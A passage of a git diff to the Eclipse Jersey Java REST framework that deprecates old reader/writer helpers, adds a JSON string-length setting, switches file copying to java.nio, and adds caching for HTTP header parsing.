    - * The default value is {@code false}. - *

    - * The name of the configuration property is {@value}. + *

    + * Integer value used to override maximum number of string length during the JSON processing the JSON provider accepts. + *

    + *

    + * The default value is not set and the JSON provider default maximum value is used. + *

    + *

    + * If supported by Jackson provider, the default value can differ for each Jackson version. For instance, + * Jackson 14 does not support this setting and the default value is {@link Integer#MAX_VALUE}, Jackson 15.0 + * has the default value 5_000_000, Jackson 15.2 has the default value 20_000_000. + *

    + * + * @since 2.41 */ - public static final String DEFLATE_WITHOUT_ZLIB = "jersey.config.deflate.nozlib"; + public static String JSON_MAX_STRING_LENGTH = "jersey.config.json.string.length"; + /** * If set to {@code true}, {@link jakarta.ws.rs.ext.MessageBodyReader MessageBodyReaders} and diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java index 0d007479ee7..c030e454b21 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -43,7 +43,7 @@ public abstract class AbstractFormProvider extends AbstractMessageReaderWrite public > M readFrom(M map, MediaType mediaType, boolean decode, InputStream entityStream) throws IOException { - final String encoded = readFromAsString(entityStream, mediaType); + final String encoded = ReaderWriter.readFromAsString(entityStream, mediaType); final String charsetName = ReaderWriter.getCharset(mediaType).name(); @@ -90,6 +90,6 @@ public > void writeTo( } } - writeToAsString(sb.toString(), entityStream, mediaType); + ReaderWriter.writeToAsString(sb.toString(), entityStream, mediaType); } } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java index 9179b9c377d..f7e26736bf2 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,6 +24,7 @@ import java.lang.annotation.Annotation; import java.lang.reflect.Type; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.ext.MessageBodyReader; @@ -42,8 +43,11 @@ public abstract class AbstractMessageReaderWriterProvider implements MessageB /** * The UTF-8 Charset. + * + * @deprecated use {@code StandardCharsets.UTF_8} instead. */ - public static final Charset UTF8 = ReaderWriter.UTF8; + @Deprecated + public static final Charset UTF8 = StandardCharsets.UTF_8; /** * Reader bytes from an input stream and write then to an output stream. @@ -51,7 +55,10 @@ public abstract class AbstractMessageReaderWriterProvider implements MessageB * @param in the input stream to read from. * @param out the output stream to write to. * @throws IOException if there is an error reading or writing bytes. + * + * @deprecated use {@code ReaderWriter.writeTo(in, out)} instead. */ + @Deprecated public static void writeTo(InputStream in, OutputStream out) throws IOException { ReaderWriter.writeTo(in, out); } @@ -62,7 +69,10 @@ public static void writeTo(InputStream in, OutputStream out) throws IOException * @param in the reader to read from. * @param out the writer to write to. * @throws IOException if there is an error reading or writing characters. + * + * @deprecated use {@code ReaderWriter.writeTo(in, out)} instead. */ + @Deprecated public static void writeTo(Reader in, Writer out) throws IOException { ReaderWriter.writeTo(in, out); } @@ -71,11 +81,14 @@ public static void writeTo(Reader in, Writer out) throws IOException { * Get the character set from a media type. *

    * The character set is obtained from the media type parameter "charset". - * If the parameter is not present the {@link #UTF8} charset is utilized. + * If the parameter is not present the {@link StandardCharsets#UTF_8} charset is utilized. * * @param m the media type. * @return the character set. + * + * @deprecated use {@code ReaderWriter.getCharset(m)} instead */ + @Deprecated public static Charset getCharset(MediaType m) { return ReaderWriter.getCharset(m); } @@ -89,7 +102,10 @@ public static Charset getCharset(MediaType m) { * @return the string. * * @throws IOException if there is an error reading from the input stream. + * + * @deprecated use {@code ReaderWriter.readFromAsString(in, type)} instead */ + @Deprecated public static String readFromAsString(InputStream in, MediaType type) throws IOException { return ReaderWriter.readFromAsString(in, type); } @@ -102,7 +118,10 @@ public static String readFromAsString(InputStream in, MediaType type) throws IOE * @param type the media type that determines the character set defining * how to decode bytes to characters. * @throws IOException in case of a write failure. + * + * @deprecated use {@code ReaderWriter.writeToAsString(s, out, type)} instead */ + @Deprecated public static void writeToAsString(String s, OutputStream out, MediaType type) throws IOException { ReaderWriter.writeToAsString(s, out, type); } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java index eaa3ee1fe17..c6ec13098e8 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -144,7 +144,7 @@ public Object readFrom( MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream) throws IOException, WebApplicationException { - final String entityString = readFromAsString(entityStream, mediaType); + final String entityString = ReaderWriter.readFromAsString(entityStream, mediaType); if (entityString.isEmpty()) { throw new NoContentException(LocalizationMessages.ERROR_READING_ENTITY_MISSING()); } @@ -210,6 +210,6 @@ public void writeTo( MediaType mediaType, MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException, WebApplicationException { - writeToAsString(o.toString(), entityStream, mediaType); + ReaderWriter.writeToAsString(o.toString(), entityStream, mediaType); } } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java index f0a39a985c4..0055caeabde 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -52,7 +52,7 @@ public byte[] readFrom( MultivaluedMap httpHeaders, InputStream entityStream) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); - writeTo(entityStream, out); + ReaderWriter.writeTo(entityStream, out); return out.toByteArray(); } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java index 3eb7a1ad7c3..dadfd3dc09f 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -162,7 +162,7 @@ public void writeTo( final OutputStream entityStream) throws IOException { final InputStream in = t.getInputStream(); try { - writeTo(in, entityStream); + ReaderWriter.writeTo(in, entityStream); } finally { in.close(); } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java index 03912ad6aa4..c705994208b 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -50,7 +50,7 @@ public Enum readFrom( MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream) throws IOException, WebApplicationException { - final String value = readFromAsString(entityStream, mediaType); + final String value = ReaderWriter.readFromAsString(entityStream, mediaType); return Enum.valueOf(type, value); } @@ -67,6 +67,6 @@ public void writeTo( MediaType mediaType, MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException, WebApplicationException { - writeToAsString(anEnum.name(), entityStream, mediaType); + ReaderWriter.writeToAsString(anEnum.name(), entityStream, mediaType); } } \ No newline at end of file diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java index 8bf91da48cf..1f1961e1e88 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,16 +16,14 @@ package org.glassfish.jersey.message.internal; -import java.io.BufferedInputStream; -import java.io.BufferedOutputStream; import java.io.File; -import java.io.FileInputStream; -import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.lang.annotation.Annotation; import java.lang.reflect.Type; +import java.nio.file.Files; +import java.nio.file.StandardCopyOption; import jakarta.ws.rs.Consumes; import jakarta.ws.rs.Produces; @@ -62,13 +60,8 @@ public File readFrom(final Class type, final MultivaluedMap httpHeaders, final InputStream entityStream) throws IOException { final File file = Utils.createTempFile(); - final OutputStream stream = new BufferedOutputStream(new FileOutputStream(file)); - try { - writeTo(entityStream, stream); - } finally { - stream.close(); - } + Files.copy(entityStream, file.toPath(), StandardCopyOption.REPLACE_EXISTING); return file; } @@ -89,13 +82,7 @@ public void writeTo(final File t, final MediaType mediaType, final MultivaluedMap httpHeaders, final OutputStream entityStream) throws IOException { - final InputStream stream = new BufferedInputStream(new FileInputStream(t), ReaderWriter.BUFFER_SIZE); - - try { - writeTo(stream, entityStream); - } finally { - stream.close(); - } + Files.copy(t.toPath(), entityStream); } @Override diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java index 8064f664c25..aeea686d28b 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -102,7 +102,7 @@ public static AbstractMultivaluedMap createOutbound() { * if the supplied header value is {@code null}. */ @SuppressWarnings("unchecked") - private static String asString(final Object headerValue, RuntimeDelegate rd) { + public static String asString(final Object headerValue, RuntimeDelegate rd) { if (headerValue == null) { return null; } @@ -149,7 +149,7 @@ public static String asString(final Object headerValue, Configuration configurat * will be called for before element conversion. * @return String view of header values. */ - private static List asStringList(final List headerValues, final RuntimeDelegate rd) { + public static List asStringList(final List headerValues, final RuntimeDelegate rd) { if (headerValues == null || headerValues.isEmpty()) { return Collections.emptyList(); } @@ -191,7 +191,24 @@ public static MultivaluedMap asStringHeaders( return null; } - final RuntimeDelegate rd = RuntimeDelegateDecorator.configured(configuration); + return asStringHeaders(headers, RuntimeDelegateDecorator.configured(configuration)); + } + + /** + * Returns string view of passed headers. Any modifications to the headers are visible to the view, the view also + * supports removal of elements. Does not support other modifications. + * + * @param headers headers. + * @param rd {@link RuntimeDelegate} instance or {@code null} (in that case {@link RuntimeDelegate#getInstance()} + * will be called for before conversion of elements). + * @return String view of headers or {@code null} if {code headers} input parameter is {@code null}. + */ + public static MultivaluedMap asStringHeaders( + final MultivaluedMap headers, RuntimeDelegate rd) { + if (headers == null) { + return null; + } + return new AbstractMultivaluedMap( Views.mapView(headers, input -> HeaderUtils.asStringList(input, rd)) ) { diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java index c39a01637ad..fe5a2497f10 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,6 +23,7 @@ import java.util.Date; import java.util.HashSet; import java.util.LinkedHashMap; +import java.util.LinkedList; import java.util.List; import java.util.Locale; import java.util.Map; @@ -31,6 +32,7 @@ import jakarta.ws.rs.core.Cookie; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.NewCookie; +import org.glassfish.jersey.internal.util.collection.LRU; /** * An abstract pull-based reader of HTTP headers. @@ -371,61 +373,25 @@ public static Set readMatchingEntityTag(String header) throws return l; } - private static final ListElementCreator MEDIA_TYPE_CREATOR = - new ListElementCreator() { - - @Override - public MediaType create(HttpHeaderReader reader) throws ParseException { - return MediaTypeProvider.valueOf(reader); - } - }; - /** * TODO javadoc. */ public static List readMediaTypes(List l, String header) throws ParseException { - return HttpHeaderReader.readList( - l, - MEDIA_TYPE_CREATOR, - header); + return MEDIA_TYPE_LIST_READER.readList(l, header); } - private static final ListElementCreator ACCEPTABLE_MEDIA_TYPE_CREATOR = - new ListElementCreator() { - - @Override - public AcceptableMediaType create(HttpHeaderReader reader) throws ParseException { - return AcceptableMediaType.valueOf(reader); - } - }; - /** * TODO javadoc. */ public static List readAcceptMediaType(String header) throws ParseException { - return HttpHeaderReader.readQualifiedList( - AcceptableMediaType.COMPARATOR, - ACCEPTABLE_MEDIA_TYPE_CREATOR, - header); + return ACCEPTABLE_MEDIA_TYPE_LIST_READER.readList(header); } - private static final ListElementCreator QUALITY_SOURCE_MEDIA_TYPE_CREATOR = - new ListElementCreator() { - - @Override - public QualitySourceMediaType create(HttpHeaderReader reader) throws ParseException { - return QualitySourceMediaType.valueOf(reader); - } - }; - /** * FIXME use somewhere in production code or remove. */ public static List readQualitySourceMediaType(String header) throws ParseException { - return HttpHeaderReader.readQualifiedList( - QualitySourceMediaType.COMPARATOR, - QUALITY_SOURCE_MEDIA_TYPE_CREATOR, - header); + return QUALITY_SOURCE_MEDIA_TYPE_LIST_READER.readList(header); } /** @@ -454,121 +420,246 @@ public static List readQualitySourceMediaType(String[] h public static List readAcceptMediaType( final String header, final List priorityMediaTypes) throws ParseException { - return HttpHeaderReader.readQualifiedList( - new Comparator() { - - @Override - public int compare(AcceptableMediaType o1, AcceptableMediaType o2) { - // FIXME what is going on here? - boolean q_o1_set = false; - int q_o1 = 0; - boolean q_o2_set = false; - int q_o2 = 0; - for (QualitySourceMediaType priorityType : priorityMediaTypes) { - if (!q_o1_set && MediaTypes.typeEqual(o1, priorityType)) { - q_o1 = o1.getQuality() * priorityType.getQuality(); - q_o1_set = true; - } else if (!q_o2_set && MediaTypes.typeEqual(o2, priorityType)) { - q_o2 = o2.getQuality() * priorityType.getQuality(); - q_o2_set = true; - } - } - int i = q_o2 - q_o1; - if (i != 0) { - return i; - } - - i = o2.getQuality() - o1.getQuality(); - if (i != 0) { - return i; - } - - return MediaTypes.PARTIAL_ORDER_COMPARATOR.compare(o1, o2); - } - }, - ACCEPTABLE_MEDIA_TYPE_CREATOR, - header); + return new AcceptMediaTypeListReader(priorityMediaTypes).readList(header); } - private static final ListElementCreator ACCEPTABLE_TOKEN_CREATOR = - new ListElementCreator() { - - @Override - public AcceptableToken create(HttpHeaderReader reader) throws ParseException { - return new AcceptableToken(reader); - } - }; /** * TODO javadoc. */ public static List readAcceptToken(String header) throws ParseException { - return HttpHeaderReader.readQualifiedList(ACCEPTABLE_TOKEN_CREATOR, header); + return ACCEPTABLE_TOKEN_LIST_READER.readList(header); } - private static final ListElementCreator LANGUAGE_CREATOR = - new ListElementCreator() { - - @Override - public AcceptableLanguageTag create(HttpHeaderReader reader) throws ParseException { - return new AcceptableLanguageTag(reader); - } - }; - /** * TODO javadoc. */ public static List readAcceptLanguage(String header) throws ParseException { - return HttpHeaderReader.readQualifiedList(LANGUAGE_CREATOR, header); + return ACCEPTABLE_LANGUAGE_TAG_LIST_READER.readList(header); } - private static List readQualifiedList(ListElementCreator c, String header) - throws ParseException { + /** + * TODO javadoc. + */ + public static List readStringList(String header) throws ParseException { + return STRING_LIST_READER.readList(header); + } - List l = readList(c, header); - Collections.sort(l, Quality.QUALIFIED_COMPARATOR); - return l; + private static final MediaTypeListReader MEDIA_TYPE_LIST_READER = new MediaTypeListReader(); + private static final AcceptableMediaTypeListReader ACCEPTABLE_MEDIA_TYPE_LIST_READER = new AcceptableMediaTypeListReader(); + private static final QualitySourceMediaTypeListReader QUALITY_SOURCE_MEDIA_TYPE_LIST_READER = + new QualitySourceMediaTypeListReader(); + private static final AcceptableTokenListReader ACCEPTABLE_TOKEN_LIST_READER = new AcceptableTokenListReader(); + private static final AcceptableLanguageTagListReader ACCEPTABLE_LANGUAGE_TAG_LIST_READER = + new AcceptableLanguageTagListReader(); + private static final StringListReader STRING_LIST_READER = new StringListReader(); + + private static class MediaTypeListReader extends ListReader { + private static final ListElementCreator MEDIA_TYPE_CREATOR = + new ListElementCreator() { + + @Override + public MediaType create(HttpHeaderReader reader) throws ParseException { + return MediaTypeProvider.valueOf(reader); + } + }; + + List readList(List l, final String header) throws ParseException { + return super.readList(l, header); + } + + private MediaTypeListReader() { + super(MEDIA_TYPE_CREATOR); + } } - private static List readQualifiedList(final Comparator comparator, ListElementCreator c, String header) - throws ParseException { + private static class AcceptableMediaTypeListReader extends QualifiedListReader { + private static final ListElementCreator ACCEPTABLE_MEDIA_TYPE_CREATOR = + new ListElementCreator() { - List l = readList(c, header); - Collections.sort(l, comparator); - return l; + @Override + public AcceptableMediaType create(HttpHeaderReader reader) throws ParseException { + return AcceptableMediaType.valueOf(reader); + } + }; + private AcceptableMediaTypeListReader() { + super(ACCEPTABLE_MEDIA_TYPE_CREATOR, AcceptableMediaType.COMPARATOR); + } + } + /* + * TODO not used in production? + */ + private static class QualitySourceMediaTypeListReader extends QualifiedListReader { + private static final ListElementCreator QUALITY_SOURCE_MEDIA_TYPE_CREATOR = + new ListElementCreator() { + + @Override + public QualitySourceMediaType create(HttpHeaderReader reader) throws ParseException { + return QualitySourceMediaType.valueOf(reader); + } + }; + private QualitySourceMediaTypeListReader() { + super(QUALITY_SOURCE_MEDIA_TYPE_CREATOR, QualitySourceMediaType.COMPARATOR); + } } - /** - * TODO javadoc. + /* + * TODO this is used in tests only */ - public static List readStringList(String header) throws ParseException { - return readList(new ListElementCreator() { + private static class AcceptMediaTypeListReader extends QualifiedListReader { + AcceptMediaTypeListReader(List priorityMediaTypes) { + super(ACCEPTABLE_MEDIA_TYPE_CREATOR, new AcceptableMediaTypeComparator(priorityMediaTypes)); + } + + private static final ListElementCreator ACCEPTABLE_MEDIA_TYPE_CREATOR = + new ListElementCreator() { + + @Override + public AcceptableMediaType create(HttpHeaderReader reader) throws ParseException { + return AcceptableMediaType.valueOf(reader); + } + }; + + private static class AcceptableMediaTypeComparator implements Comparator { + private final List priorityMediaTypes; + + private AcceptableMediaTypeComparator(List priorityMediaTypes) { + this.priorityMediaTypes = priorityMediaTypes; + } + + @Override + public int compare(AcceptableMediaType o1, AcceptableMediaType o2) { + // FIXME what is going on here? + boolean q_o1_set = false; + int q_o1 = 0; + boolean q_o2_set = false; + int q_o2 = 0; + for (QualitySourceMediaType priorityType : priorityMediaTypes) { + if (!q_o1_set && MediaTypes.typeEqual(o1, priorityType)) { + q_o1 = o1.getQuality() * priorityType.getQuality(); + q_o1_set = true; + } else if (!q_o2_set && MediaTypes.typeEqual(o2, priorityType)) { + q_o2 = o2.getQuality() * priorityType.getQuality(); + q_o2_set = true; + } + } + int i = q_o2 - q_o1; + if (i != 0) { + return i; + } + + i = o2.getQuality() - o1.getQuality(); + if (i != 0) { + return i; + } + + return MediaTypes.PARTIAL_ORDER_COMPARATOR.compare(o1, o2); + } + }; + + + } + + private static class AcceptableTokenListReader extends QualifiedListReader { + private static final ListElementCreator ACCEPTABLE_TOKEN_CREATOR = + new ListElementCreator() { + + @Override + public AcceptableToken create(HttpHeaderReader reader) throws ParseException { + return new AcceptableToken(reader); + } + }; + private AcceptableTokenListReader() { + super(ACCEPTABLE_TOKEN_CREATOR); + } + } + + private static class AcceptableLanguageTagListReader extends QualifiedListReader { + private static final ListElementCreator LANGUAGE_CREATOR = + new ListElementCreator() { + + @Override + public AcceptableLanguageTag create(HttpHeaderReader reader) throws ParseException { + return new AcceptableLanguageTag(reader); + } + }; + private AcceptableLanguageTagListReader() { + super(LANGUAGE_CREATOR); + } + } + + private abstract static class QualifiedListReader extends ListReader { + @Override + public List readList(String header) throws ParseException { + List l = super.readList(header); + Collections.sort(l, comparator); + return l; + } + + private final Comparator comparator; + private QualifiedListReader(ListElementCreator creator) { + this(creator, (Comparator) Quality.QUALIFIED_COMPARATOR); + } + protected QualifiedListReader(ListElementCreator creator, Comparator comparator) { + super(creator); + this.comparator = comparator; + } + } + + private static class StringListReader extends ListReader { + private static final ListElementCreator listElementCreator = new ListElementCreator() { @Override public String create(HttpHeaderReader reader) throws ParseException { reader.hasNext(); return reader.nextToken().toString(); } - }, header); - } + }; - private static List readList(final ListElementCreator c, final String header) throws ParseException { - return readList(new ArrayList(), c, header); + private StringListReader() { + super(listElementCreator); + } } - private static List readList(final List l, final ListElementCreator c, final String header) - throws ParseException { + private abstract static class ListReader { + private final LRU> LIST_CACHE = LRU.create(); + protected final ListElementCreator creator; - HttpHeaderReader reader = new HttpHeaderReaderImpl(header); - HttpHeaderListAdapter adapter = new HttpHeaderListAdapter(reader); + protected ListReader(ListElementCreator creator) { + this.creator = creator; + } - while (reader.hasNext()) { - l.add(c.create(adapter)); - adapter.reset(); - if (reader.hasNext()) { - reader.next(); - } + protected List readList(final String header) throws ParseException { + return readList(new ArrayList(), header); } - return l; + private List readList(final List l, final String header) + throws ParseException { + +// List list = null; + List list = LIST_CACHE.getIfPresent(header); + + if (list == null) { + synchronized (LIST_CACHE) { + list = LIST_CACHE.getIfPresent(header); + if (list == null) { + HttpHeaderReader reader = new HttpHeaderReaderImpl(header); + HttpHeaderListAdapter adapter = new HttpHeaderListAdapter(reader); + list = new LinkedList<>(); + + while (reader.hasNext()) { + list.add(creator.create(adapter)); + adapter.reset(); + if (reader.hasNext()) { + reader.next(); + } + } + LIST_CACHE.put(header, list); + } + } + } + + l.addAll(list); + return l; + } } } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/InboundMessageContext.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/InboundMessageContext.java index 59ec98887af..9eb4a40788a 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/InboundMessageContext.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/InboundMessageContext.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -50,11 +50,16 @@ import jakarta.ws.rs.core.NewCookie; import jakarta.ws.rs.ext.ReaderInterceptor; +import jakarta.ws.rs.ext.RuntimeDelegate; import javax.xml.transform.Source; import org.glassfish.jersey.internal.LocalizationMessages; import org.glassfish.jersey.internal.PropertiesDelegate; import org.glassfish.jersey.internal.RuntimeDelegateDecorator; +import org.glassfish.jersey.internal.util.collection.GuardianStringKeyMultivaluedMap; +import org.glassfish.jersey.internal.util.collection.LazyValue; +import org.glassfish.jersey.internal.util.collection.Value; +import org.glassfish.jersey.internal.util.collection.Values; import org.glassfish.jersey.message.MessageBodyWorkers; /** @@ -90,11 +95,14 @@ public boolean markSupported() { private static final List WILDCARD_ACCEPTABLE_TYPE_SINGLETON_LIST = Collections.singletonList(MediaTypes.WILDCARD_ACCEPTABLE_TYPE); - private final MultivaluedMap headers; + private final GuardianStringKeyMultivaluedMap headers; private final EntityContent entityContent; private final boolean translateNce; private MessageBodyWorkers workers; private final Configuration configuration; + private final RuntimeDelegate runtimeDelegateDecorator; + private LazyValue contentTypeCache; + private LazyValue> acceptTypeCache; /** * Input stream and its state. State is represented by the {@link Type Type enum} and @@ -158,10 +166,16 @@ public InboundMessageContext(Configuration configuration) { * as required by JAX-RS specification on the server side. */ public InboundMessageContext(Configuration configuration, boolean translateNce) { - this.headers = HeaderUtils.createInbound(); + this.headers = new GuardianStringKeyMultivaluedMap<>(HeaderUtils.createInbound()); this.entityContent = new EntityContent(); this.translateNce = translateNce; this.configuration = configuration; + runtimeDelegateDecorator = RuntimeDelegateDecorator.configured(configuration); + + contentTypeCache = contentTypeCache(); + acceptTypeCache = acceptTypeCache(); + headers.setGuard(HttpHeaders.CONTENT_TYPE); + headers.setGuard(HttpHeaders.ACCEPT); } /** @@ -196,7 +210,7 @@ public InboundMessageContext(boolean translateNce) { * @return updated context. */ public InboundMessageContext header(String name, Object value) { - getHeaders().add(name, HeaderUtils.asString(value, configuration)); + getHeaders().add(name, HeaderUtils.asString(value, runtimeDelegateDecorator)); return this; } @@ -208,7 +222,7 @@ public InboundMessageContext header(String name, Object value) { * @return updated context. */ public InboundMessageContext headers(String name, Object... values) { - this.getHeaders().addAll(name, HeaderUtils.asStringList(Arrays.asList(values), configuration)); + this.getHeaders().addAll(name, HeaderUtils.asStringList(Arrays.asList(values), runtimeDelegateDecorator)); return this; } @@ -265,7 +279,7 @@ private List iterableToList(final Iterable values) { final LinkedList linkedList = new LinkedList(); for (Object element : values) { - linkedList.add(HeaderUtils.asString(element, configuration)); + linkedList.add(HeaderUtils.asString(element, runtimeDelegateDecorator)); } return linkedList; @@ -332,7 +346,7 @@ private T singleHeader(String name, Function converter, boolean c } try { - return converter.apply(HeaderUtils.asString(value, configuration)); + return converter.apply(HeaderUtils.asString(value, runtimeDelegateDecorator)); } catch (ProcessingException ex) { throw exception(name, value, ex); } @@ -447,18 +461,26 @@ public Integer apply(String input) { * message entity). */ public MediaType getMediaType() { - return singleHeader(HttpHeaders.CONTENT_TYPE, new Function() { - @Override - public MediaType apply(String input) { - try { - return RuntimeDelegateDecorator.configured(configuration) - .createHeaderDelegate(MediaType.class) - .fromString(input); - } catch (IllegalArgumentException iae) { - throw new ProcessingException(iae); - } - } - }, false); + if (headers.isObservedAndReset(HttpHeaders.CONTENT_TYPE) && contentTypeCache.isInitialized()) { + contentTypeCache = contentTypeCache(); // headers changed -> drop cache + } + return contentTypeCache.get(); + } + + private LazyValue contentTypeCache() { + return Values.lazy((Value) () -> singleHeader( + HttpHeaders.CONTENT_TYPE, new Function() { + @Override + public MediaType apply(String input) { + try { + return runtimeDelegateDecorator + .createHeaderDelegate(MediaType.class) + .fromString(input); + } catch (IllegalArgumentException iae) { + throw new ProcessingException(iae); + } + } + }, false)); } /** @@ -468,17 +490,26 @@ public MediaType apply(String input) { * to their q-value, with highest preference first. */ public List getQualifiedAcceptableMediaTypes() { - final String value = getHeaderString(HttpHeaders.ACCEPT); - - if (value == null || value.isEmpty()) { - return WILDCARD_ACCEPTABLE_TYPE_SINGLETON_LIST; + if (headers.isObservedAndReset(HttpHeaders.ACCEPT) && acceptTypeCache.isInitialized()) { + acceptTypeCache = acceptTypeCache(); } + return acceptTypeCache.get(); + } - try { - return Collections.unmodifiableList(HttpHeaderReader.readAcceptMediaType(value)); - } catch (ParseException e) { - throw exception(HttpHeaders.ACCEPT, value, e); - } + private LazyValue> acceptTypeCache() { + return Values.lazy((Value>) () -> { + final String value = getHeaderString(HttpHeaders.ACCEPT); + + if (value == null || value.isEmpty()) { + return WILDCARD_ACCEPTABLE_TYPE_SINGLETON_LIST; + } + + try { + return Collections.unmodifiableList(HttpHeaderReader.readAcceptMediaType(value)); + } catch (ParseException e) { + throw exception(HttpHeaders.ACCEPT, value, e); + } + }); } /** @@ -754,6 +785,9 @@ public Link.Builder getLinkBuilder(String relation) { * @return context message body workers. */ public MessageBodyWorkers getWorkers() { + if (workers == null) { + throw new ProcessingException(LocalizationMessages.RESPONSE_CLOSED()); + } return workers; } @@ -948,6 +982,7 @@ public boolean bufferEntity() throws ProcessingException { */ public void close() { entityContent.close(true); + setWorkers(null); } /** diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java index 94f5ddfcda7..c07dcbfc1fe 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java @@ 